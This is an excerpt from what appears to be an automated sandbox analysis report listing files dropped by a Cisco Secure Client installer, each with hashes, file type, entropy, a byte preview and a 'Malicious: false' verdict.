SSDEEP:	12288:zx1d5ucCv/+XrPAQ/gL+EIK6bs6l7HNLM8RL45fvfmY3YrA0RFZa:z5iH+T/9y6I69HNLM8d45ZYrtRLa
MD5:	1987D72B9C16314FC1BDEC8315AA31B4
SHA1:	55BA31FA638F3EF505D450DAAFF5F2E6EFBB59A9
SHA-256:	CABF64B736A3217E51FE4F49DC164C2CB5218D03F05AE4B932C7D362AB5A2CFD
SHA-512:	417993511DFCACD266D459ED0B7204327D6B488F9A338C06090D81036D9B1A3D24F87E2251447F74CA655F5E234D57DF0685C45458FFDB47EB246B6E2E2E9692
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........\|..\|...\|...\|.......\|.......\|.......\|.......\|.......\|..$....\|.......\|.......\|.......\|.......\|...\|......$....\|..$....\|..$...\|...\|...\|..$....\|..Rich.\|..........PE..L...M..d...........!.................G....................................................@A............................\T..............................hH..............T...........................@...@............................................text...,........................... ..`.rdata..............................@..@.data....3.......0..................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-3H81M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347752
Entropy (8bit):	6.708372875308561
Encrypted:	false
SSDEEP:	6144:xS6/w5Vk2RM0ZdTNd5JYjV7JYwXhik4QNEN519X+Iw99Itmf:xS5Vk2RtZw5JYwXhpzyNttg
MD5:	84EB38D113F69752F45B9A1852536093
SHA1:	D24161590E4C7541D183A0871694DEFE92F81783
SHA-256:	276C98884E9945BC79AB4D84069CFE543752FBD064E88EE78DE0256F8B1DF374
SHA-512:	0B69B29809915DFC348AD36E528BE4DE5E251F30AA7E3FA1017F1F3A24FF315C4F5290423D15C62AA3E4F3AFA573362675177EC05E48B78FA2995C2D5F5BD310
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........L/D.-A..-A..-A..U...-A..E@..-A.+....-A..ED..-A..EE..-A..EB..-A..K@..-A..D@..-A..-@..,A..DE.(-A..DA..-A..D...-A..DC..-A.Rich.-A.................PE..L...-m.b...........!.........*...............................................@............@................................T...@.......................hH.......3..P...T...............................@...............d............................text...U........................... ..`.rdata..D...........................@..@.data...\...........................@....rsrc...............................@..@.reloc...3.......4..................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-3MUNV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	243576
Entropy (8bit):	6.63219267320993
Encrypted:	false
SSDEEP:	6144:aLy1UNAZHA2nSG5LbEcutDsSaqiOHYb836TLLOeHFQyS9uLms12z/NpJ9yne:2hkH0Yb83KLxmuLmdzoe
MD5:	9AD549C121108B3B1408A30BEE325D08
SHA1:	898FFC728087861E619DABABD8E65CC902276D06
SHA-256:	263975E4F5AFC90E91F9F601080B92C9FBC5E471132F63AD01C6C4F99B33B83A
SHA-512:	9A9005ACF2AF86D6A0A95773E968D98E90B7E71E8E71D58949FF51AAD49050DCA57D94A19671B1B5026BD74E7B627F31D0C8A50BB66AB740D629022C3A95D579
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.3...]X..]X..]X..\Y..]X...X..]X@.\Y..]X..\X..]X@.YY..]X@.^Y..]X@.XYA.]X@.]Y..]X@..X..]X@._Y..]XRich..]X................PE..L...=\|.a.........."!.........x......p........0......................................?I....@A........................ ....K..<r..........................x#.......+...;..8............................<..@............p..8............................text............................... ..`.data....4...0...2... ..............@....idata..~....p.......R..............@..@.rsrc................d..............@..@.reloc...+.......,...h..............@..B................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-40G52.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	data
Category:	dropped
Size (bytes):	11144
Entropy (8bit):	7.2926694421063205
Encrypted:	false
SSDEEP:	192:RCFWAyKfdF3Ee2yKO3FWQFBacRSp0X01k9z3AJEx0ALqf:kTb3FR+cR00R9zoE6A+f
MD5:	606BE87B926A7967C1B822260307544F
SHA1:	256B68497E3C942D5545A73FEF4AB4575D4A6BEE
SHA-256:	8B8A4129AD0745ABE9C05BBC36C3C4F97B85C97ECADFC884B6FFBDB5CCEA7B33
SHA-512:	4FBD62B00CD6D5948ACB32FA2250A44C6B6370CAA4CCD9FD5BDCC0FB7B9FA746BF8F1F03C6A7870F815037CAC47D737EAF1A7A77A48D74358D054321BB3B5690
Malicious:	false
Preview:	0.+...*.H........+u0.+q...1.0...`.H.e......0..#..+.....7......0...0...+.....7........i;..A...ag....230706005513Z0...+.....7.....0..X0....1^...H...........1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........a.c.s.o.c.k.6.4...i.n.f...0.... ..z.G_#.(....E;...[I...Qh...N1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........a.c.s.o.c.k.6.4...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..z.G_#.(....E;...[I...Qh...N0......p.k,...a.B.>.....1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........a.c.s.o.c.k.6.4...s.y.s...0.... .B{[.$>.@.H...tu>.\...`.. ....1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........a.c.s.o.c.k.6.4...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .B{[.$>.@.H...tu>.\...`.. .......q0..m0J.

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-42UFL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1657960
Entropy (8bit):	6.613955270280212
Encrypted:	false
SSDEEP:	24576:NEFJgRL9dvWmJhDQLTE/SBL2M9MvGOBU+X3OKxfO3XqWjgVIOJCTR:aYRLPHhD/G2M9Mtv3OKxGBjgVIOJCTR
MD5:	EB82DFAB501EA2CE256AABDF7EFA443F
SHA1:	1656FC8BE6B149399EF99EFBDF859E2BC6657525
SHA-256:	A9627BE9ABED41D166C8AAC6E77BF33DCCB97A03D5ED80E30D389CFDD146D608
SHA-512:	F9979AF7B289635ABE58DB8D30E5594362AEAB86C34C4825ED8A10DEAE28F63F7EAD6D042B7D65A246A7A444E8E06A15D679ABE34FC313F3BCE70A621F0A154C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$.......oE.+$..+$..+$.."\'.9$..MKI.)$..yQ..!$..yQ...$..yQ../$..yQ..4$...Q../$..?O../$..M..)$..~Q../$..?O..:$..+$..1!...Q..o$...Q..$...QK.$..+$#.$...Q..$..Rich+$..........................PE..L......d...........!.........................@...............................@............@A.........................\|..@...@l.......P..X...............hH.......:......T...................@.......`...@............@..d............................text...z........................... ..`.orpc...J....0...................... ..`.rdata...y...@...z... ..............@..@.data...............................@....rsrc...X....P......................@..@.reloc...:.......<..................@..B........................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-6FEVR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	61032
Entropy (8bit):	6.808659945563971
Encrypted:	false
SSDEEP:	768:8G+TDeIz+avSPNWxdk8uSDmzItwhHXWT2nLHSJDGV5ENAMxaqydDGVDyAMxkEku:8veOAidk8uSRGWCelxaq/QxV
MD5:	4181824994B367CABC348F8E308DD792
SHA1:	3C4508092416D6BB68F2BED15BCBA578294FDFE3
SHA-256:	AC91D41BDC0EA04E56D2EED724EB487B59E920F59B1E24440F5A3AED11B4E8C4
SHA-512:	C802E372F6886F968BEE9DC6AD512F0DAA666C0632AF5EAEA63605733749D718879202BA8C9225BDD083D24B079B110ED37A2B1E9AD868AEF149B122703D2177
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................}..................................~.....~.....~.....Rich...........................PE..L.....^...........!.....R...P......@R.......p............................................@.....................................x.......................hH...........z......................P{.......z..@............p...............................text...kP.......R.................. ..`.rdata...;...p...<...V..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-7A47V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92776
Entropy (8bit):	6.652577402747044
Encrypted:	false
SSDEEP:	1536:JXrBoBxhQlrylel5aThWE7amOMjhO5qg9WyVPDNxsU2xS:JXri65Dl67apMjw5qg9WyB1
MD5:	448338FE18DD5BF4F6C6B87203E5ADBA
SHA1:	3095A3A7866188806898F5A366E05C53C9AF9788
SHA-256:	557F2E566FCA90B4BF853F30130EDB15EE675B76B94377ECF81792EEAA3A2690
SHA-512:	13FBEA608AEDEC472419901B6B265608070E5ADBAACFBA71091680B86A4FE0F22564AB01C6DEB283CC501BBE96F12F9196798DF263FC60C828078C66B4D18FA3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............U...U...U...U..UQ.T..U..T..U..T..U..T..U..T..U..T..U..T..U...UM..U..T..U..T...U..zU...U...U...U..T...URich...U........PE..L...O..d...........!.........~.......j.......................................`............@A.........................................0..............."..hH...@..(...P...T...............................@............................................text.............................. ..`.rdata..dS.......T..................@..@.data........ ......................@....rsrc........0......................@..@.reloc..(....@......................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-7ARTU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	145512
Entropy (8bit):	6.622600549799495
Encrypted:	false
SSDEEP:	1536:2lE8KKdwsPSfyPQ2TbpoEcRj+SOXzPsdGTE55vt67Ktb1sK8W77tHbloNeITqx/4:2q82KP9TbpoEI+Ew7Ktb1sKXblmeIkO
MD5:	E6FF7D48757F7470A8861AC3B3E159E6
SHA1:	3B2ED33F1025FB320D3C7D5699A941D94BBDC222
SHA-256:	74D0A04DED5E21F85BF32274823894AA5ACB9DDABE3D845F896E47521DEC2FE6
SHA-512:	312D1EDA0FAA80EC22AAD2CB660D611C1EE0207DCE84AB3A318B89CC7229993C518DDCE8B72D55A10FD85E392665394FAFEC6A320EFA84213A02360B49F8B1E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......i...-...-...-...$.}.=.......!.......).......).......1.......)...9...(...-...H...............,...-.y.,.......,...Rich-...........PE..L......d............................ ........0....@..........................@.......d....@.................................0...,.......................hH... .......c..T...................@e......Pd..@............0...............................text............................... ..`.rdata......0......................@..@.data... +..........................@....rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-9JGUE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	126568
Entropy (8bit):	6.722288477011462
Encrypted:	false
SSDEEP:	3072:gGGKu/VLwQR1ky0vAF2/Fk5kIEFor6SVTdUT75VU:gGGKu/VLwYIAA++9ohVpUf5VU
MD5:	23F1917EF17DB9B94F4E4FFBE56320FB
SHA1:	964967CCBB8AEE664E8294B39E72A608C17B41A0
SHA-256:	0E48269187B4D99FC892B373EA247A48E852F71792F5F28E30001C509B8A3971
SHA-512:	ACCAC7B61E6D18662E1FF702D41052F519EE029FE4820185168B5CDF7049526DD28B43F0A84C1FFB8E2C0E1AE933D351EF9CB6AE9D410F1C312FA5DB01127120
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Z............../..........................................................................Rich............PE..L.....^...........!......................... ...........................................@..........................T...D..,...........................hH...........+.......................+......0+..@............ ...............................text............................... ..`.rdata...... ......................@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-BKQ26.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1134696
Entropy (8bit):	5.98101366214949
Encrypted:	false
SSDEEP:	12288:8h0jAkQkbL6TwyIHQ6KkuD/wNo9beiC3Yeba96ga8nXNBZy:8hAA7kbL6TwyIHQZ/wNf3Yijg/dBU
MD5:	5E20E06C6F8A52DF2A20F24BF8E7ED28
SHA1:	F43253FC29F72A6792A49F8499C8547328CB3060
SHA-256:	B2628E6B3620070511BC7BFD7EC75BF30F194D69560DC4925A2CB208EBFF8EA5
SHA-512:	06733AA3684278AD1E00F0F7070BED46698422104AA89E3563154A6477186F0DC34B4C6598B101941AB9C34055891CA1A697B8F233156953D09A184291018CBD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#...g..Yg..Yg..Ys..Xl..Ys..Xt..Ys..X...Y5..Xv..Y5..Xm..Y5..X5..Ys..Xl..Yg..Y...Y...Xk..Y...Yf..Yg.nYf..Y...Xf..YRichg..Y........PE..d......d.........."..........P.......^.........@.............................p............`................................................. ...x............0..03......hH...0...5..(...T.......................(.......8............................................text...\|........................... ..`.rdata..............................@..@.data....1..........................@....pdata..03...0...4..................@..@_RDATA.......p......................@..@.rsrc................0..............@..@.reloc...5...0...6..................@..B........................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-C8R9M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	286824
Entropy (8bit):	6.617095335993768
Encrypted:	false
SSDEEP:	6144:tnTXBb1av9tRiTYNC2s2jSPah5WQXR+1XAOtMFK:Lcv9tRiUNLV+1XHf
MD5:	A46C978EB55D64043AAC769320503C12
SHA1:	60AD2BB287B1E6F768EA873B1390ACA13A853999
SHA-256:	19E4270B838CBC3054175427E9C5DA3BBACD92A0E69ECE036C490FC3F13302B1
SHA-512:	DFD94979A6AD9AF454C40324A42FD83CB0F14E2EEFEBF81810DEB5A4A24E0EA3B6466E0D28E32BBC0192D732B9D6B2429843E22F7E07F42D2EBE5835A3E47ACE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5I.Rq(..q(..q(..eC..\|(..eC...(..eC..g(..#]..~(..#]..e(..#]..&(..eC..p(..eC..\|(..q(...(...]..}(...]..p(...]u.p(..q(..p(...]..p(..Richq(..................PE..L...c..d...........!.........~...............................................`............@.........................P...........x.... ..................hH...0..,(..t...p..............................@............... ............................text............................... ..`.rdata..#.......$..................@..@.data...d'..........................@....rsrc........ ......................@..@.reloc..,(...0.....................@..B................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-C9M46.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	45672
Entropy (8bit):	6.909278775883234
Encrypted:	false
SSDEEP:	768:kD0B4emSfS7QU1+oZYDGV5ENAMxfwDGV/vUAMxkEr:ce8+oixfRKx/
MD5:	F9E23973D3BF6B1A6ECAD723B07FDDD1
SHA1:	958C2BBF7D86C8B4527DA5082A4BA3428465031D
SHA-256:	9990F20DAA97C9502D6E056EE81E2B8815AF9DAF52A2E22B95A3CCB00C6BA332
SHA-512:	48A36927B69443DE27EEE9FFF3D84E06DB6BB050B62A4CE2AC3014362B7BA119648294578545FA48BC95D497FAE1D99D010AA5A1AD78E9C8F15D09F427CE66E5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."...f...f...f...o...n.....~.d...4.z.v...4.{.l...4.\|.c...4.~.b.....~.e...f.~.U.....z.e.......g.....}.g...Richf...................PE..L.....^...........!.....4...2.......3.......P............................................@.........................._.......o.......................j..hH..........PS..............................pS..@............P...............................text...K2.......4.................. ..`.rdata...%...P...&...8..............@..@.data...\|............^..............@....rsrc................b..............@..@.reloc...............d..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-DN046.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	data
Category:	dropped
Size (bytes):	10484
Entropy (8bit):	7.081965462144553
Encrypted:	false
SSDEEP:	192:Xr1RLG32vJCEvyyKwnsFWQFl2j21EhqnajKs8E:lvrnsFR72qslGs8E
MD5:	38B464383C531FF40AD2538CF4442C25
SHA1:	899E6C26E8362C3811189977640D5B625B566CD9
SHA-256:	C130160691DA77B3AFD58E642A09439709C6B60729E6CFB06EE687A02B7E2A68
SHA-512:	407AD6D59035AC10A6CBEB368F72772A6CDBB889934BA4097046BD489CA5E36D4374E5C6655485AB28419D0EB45587C664E65113589E6131FB208D7ABDB4F885
Malicious:	false
Preview:	0.(....H........(.0.(....1.0...`.H.e......0.....+.....7......0...0...+.....7......>.O.>I.......f..220217132307Z0...+.....7.....0...0....R4.4.2.B.1.1.8.F.3.7.D.A.5.5.C.9.2.3.A.D.2.E.4.9.7.C.F.2.B.2.6.E.2.9.5.0.2.F.4.D...1..A0>..+.....7...100....F.i.l.e........v.p.n.v.a.6.4.-.6...s.y.s...0L..+.....7...1>0<...O.S.A.t.t.r.......&2.:.6...1.,.2.:.6...3.,.2.:.1.0...0...0M..+.....7...1?0=0...+.....7...0...........0!0...+........D+..7.U.#..I\|.n)P/M0b..+.....7...1T0R.L.{.C.6.8.9.A.A.B.8.-.8.E.7.8.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....R8.4.B.B.1.C.E.C.D.D.3.8.F.D.2.0.3.D.2.E.E.9.6.9.1.9.0.2.C.3.F.C.C.B.D.E.D.3.6.6...1..50:..+.....7...1,0...F.i.l.e........v.p.n.v.a.-.6...i.n.f...0E..+.....7...17050...+.....7.......0!0...+.............8. =..i.......f0L..+.....7...1>0<...O.S.A.t.t.r.......&2.:.6...1.,.2.:.6...3.,.2.:.1.0...0...0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....RB.B.A.C.C.3.7.6.5.1.5.D.4.1.0.F.C.4.9.7.C.A.B.1

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-DSLII.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	119912
Entropy (8bit):	6.60185962501979
Encrypted:	false
SSDEEP:	3072:pykiJ1Z1K95jvS8BBw/qZqocqQThEt9WSt6MlNNp:MkiHTMBBaNEtUS9lNz
MD5:	E418E6429D29325A842E8A5F01B57236
SHA1:	D075045BC923F0AD63907CDF47AF6FE7B40DB49C
SHA-256:	EAD03108A441D27DC347649DDA3F5BBD2144B5EC35B775944761F7BBFFC95CB2
SHA-512:	92969A8394DF09973DE2F5E8A528A41EC046B5C0CCA3292CD734DF900AF1EB85A3C8643273051D1E2B27B82EC992D61559A9BB06A4B49064FECCB64EB35D2876
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....'b.........."!................@>....................................................@A........................M_......?`..(.......................hH..........D\.......................Y......`................a..<....]..`....................text............................... ..`.rdata...n.......p..................@..@.data........p.......d..............@....00cfg...............n..............@..@.tls.................p..............@....voltbl.H............r...................rsrc................t..............@..@.reloc...............z..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-FMEAN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	451
Entropy (8bit):	3.838636988372643
Encrypted:	false
SSDEEP:	6:3FFU5eWNwSrzakk5CGvFF6cqEPtvFFEHxiulEk9bkNy4SQUa:1e5eU/aHHAcqE/uxiTKTM
MD5:	F31B286BC9DAC414CAE57B36020FDB4A
SHA1:	BD9D861EA0BC7DBDB9A1C9949ADFB7BDF3345C6B
SHA-256:	7778B7BB7E7F9D25D71747BAA3BEB76E39C0336EB9DA0D823D7C6297540E7975
SHA-512:	937B660BDD91A8467DB83F9B5B25046D0443EB2648671CE420F9A032123A479B249B9001D860BDA4FE3488065F0FF02AD01BA758CB11EE07710C7651FA072945
Malicious:	false
Preview:	{.. "downloader" : {.. "display-name" : "Cisco Secure Client - Downloader",.. "type" : "exe",.. "uri" : "binaries/vpndownloader.exe",.. "hash" : "7B6826DD31DB6E559BBF873DE756292B22B910F319C6C4B09D7A62A5312A4AC3",.. "hash-type" : "sha256",.. "version" : "5.0.05040".. }..}..

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-FRTV6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	912488
Entropy (8bit):	6.783823890055007
Encrypted:	false
SSDEEP:	12288:hzaSwCkln20SXQK4RjiqKSehi15NeM1+uFTXqNK+FrZeqQFXpB:h+SwCkl20VLipi15NeM1+oTorjoB
MD5:	2DAB87822AC2A484AC9D28D9BEEA60DC
SHA1:	F49F17CD267325EDC70651940E3322E602ECBF63
SHA-256:	88549D168B1062176C09C20A6A264432792A9C3DD291EBB34DDAA16E0C822CCA
SHA-512:	AB8F79AD1AF50D1537E288D5A1E36D65A2463C5F77113E02770DE85BA7058C6054EDC82165D14A061D151CA40D5128C88B9D314635E540D3439B2D8B407ABD42
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........]U...U...U...\...A......_...3.m.Q......._.......^.......J.......Q......J.......Q...A..D...U...[.......w.......T.....o.T...U...T.......T...RichU...........PE..L......d...........!.....V...T...............p............................................@A........................P....y..`z....... ..P...............hH...0.......O..p....................Q......0P..@............p...............................text...zU.......V.................. ..`.rdata..@G...p...H...Z..............@..@.data...._.......V..................@....rsrc...P.... ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-GKS0T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	76168
Entropy (8bit):	6.765544990184352
Encrypted:	false
SSDEEP:	1536:zHHuqvERNjBwySXtVaSvrgOFw9RxKMn5ecbCKnIY7:zHHZMRNjKySdLcOiH5ecbCKnN
MD5:	1A84957B6E681FCA057160CD04E26B27
SHA1:	8D7E4C98D1EC858DB26A3540BAAAA9BBF96B5BFE
SHA-256:	9FAEAA45E8CC986AF56F28350B38238B03C01C355E9564B849604B8D690919C5
SHA-512:	5F54C9E87F2510C56F3CF2CEEB5B5AD7711ABD9F85A1FF84E74DD82D15181505E7E5428EAE6FF823F1190964EB0A82A569273A4562EC4131CECFA00A9D0D02AA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................{.........i.............................................................Rich....................PE..L...>\|.a.........."!.........................................................@......{.....@A......................................... ...................#...0.......#..8............................#..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-HI577.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	305568
Entropy (8bit):	6.508762969375985
Encrypted:	false
SSDEEP:	6144:RU6viRkqf6rRsLewEo2eCf4nkra75QtUNxNad3fv27/iTf7G/:RU6viRkqf6rRsLew/23Qkro7x4Vfvwd/
MD5:	7119F4B20ECBF6BBB4478A983D34AC70
SHA1:	60C6E6B2EF96C540318FBEDEDF81F5D8BD90148E
SHA-256:	372D4C634E9C8F1DA8EE0ED5DD54E4D2956564FF7FCF62CDEF20689D2EC47F92
SHA-512:	5895F370D1641611BB110D75AADA34DC34359DA83143FE067BB8DD99CCBAB64B832BA7B958C3F09D81B78E3ABBD4601A495BD51070C053D298E7A48745CEC0BC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k.../.../.../...&.~.,...&.e.-...;.............;..(...;...+...;..(...;...$.../..........5...................Rich/...................PE..d....a.d.........."............................@.............................0...........`A................................................d....................$.......%... ..\.......T............................................................................text............................... ..h.rdata..`<.......>..................@..H.data....d... ......................@....pdata...$.......&..................@..HPAGE.................<.............. ..`INIT.................Z.............. ..b.rsrc................n..............@..B.reloc..\.... ......................@..B........................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-HL1L8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	745576
Entropy (8bit):	6.225379685413281
Encrypted:	false
SSDEEP:	12288:Qx5TysIG9cavT2FWgBKkuD/wQoJ4GMJzu:cxIGKavT2FWz/wQffzu
MD5:	DB9F087F33F5375F0883F4E29F81074C
SHA1:	1D9715CDFA425F4F6FA14D80233B9ECE8F9AA89E
SHA-256:	5D27CE634581F9CEE12C17D9F4AD6AB1B7C6BCDBB911618E7416D2FB4F1981F0
SHA-512:	A740845C79909898881742BA552F8358EE35EA33077A41EA2F9BC4FA824923956AFB1AB3D7870FEE626110BB51FC347AC3D04A2D84747D99EA98B1F3E9FB98C0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\.h3.m.`.m.`.m.`...a.m.`...a.m.`...a.m.`J..a.m.`J..a.m.`J..aJm.`...a.m.`.m.`.m.`...a.m.`...`.m.`.m.`.m.`...a.m.`Rich.m.`........................PE..d......d.........."......V.......... ..........@..........................................`.....................................................x....0..P........8......hH...@...5......T.......................(......8............p...............................text....T.......V.................. ..`.rdata...%...p...&...Z..............@..@.data....2..........................@....pdata...8.......:..................@..@_RDATA....... ......................@..@.rsrc...P....0......................@..@.reloc...5...@...6..................@..B........................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-JS0FN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	5.184476593945747
Encrypted:	false
SSDEEP:	48:1Bgd0zK3NIhE1bnJrGfiuzLOAYCuh35oD8d7/16U8LUFb:1Bgd0zK3NIhEpnJrGftzLO0kpoD8d7UM
MD5:	CCB4651BFC7878E5AC78F2D63955A21B
SHA1:	315E8C89BA48B0B788AC90D2FFEA97A6C0C2AF94
SHA-256:	F4427B5BAE243EED40F2B448C3137F74753E135CD001D860A7DCAB208C929217
SHA-512:	BBAF097D051F0E27EB252A639046202430F84DD1DFB30BB35E4F58A0BD24850C61957A4799E04A2A1705FC62E829CC594CB87073FDE16D47C09E216077566925
Malicious:	false
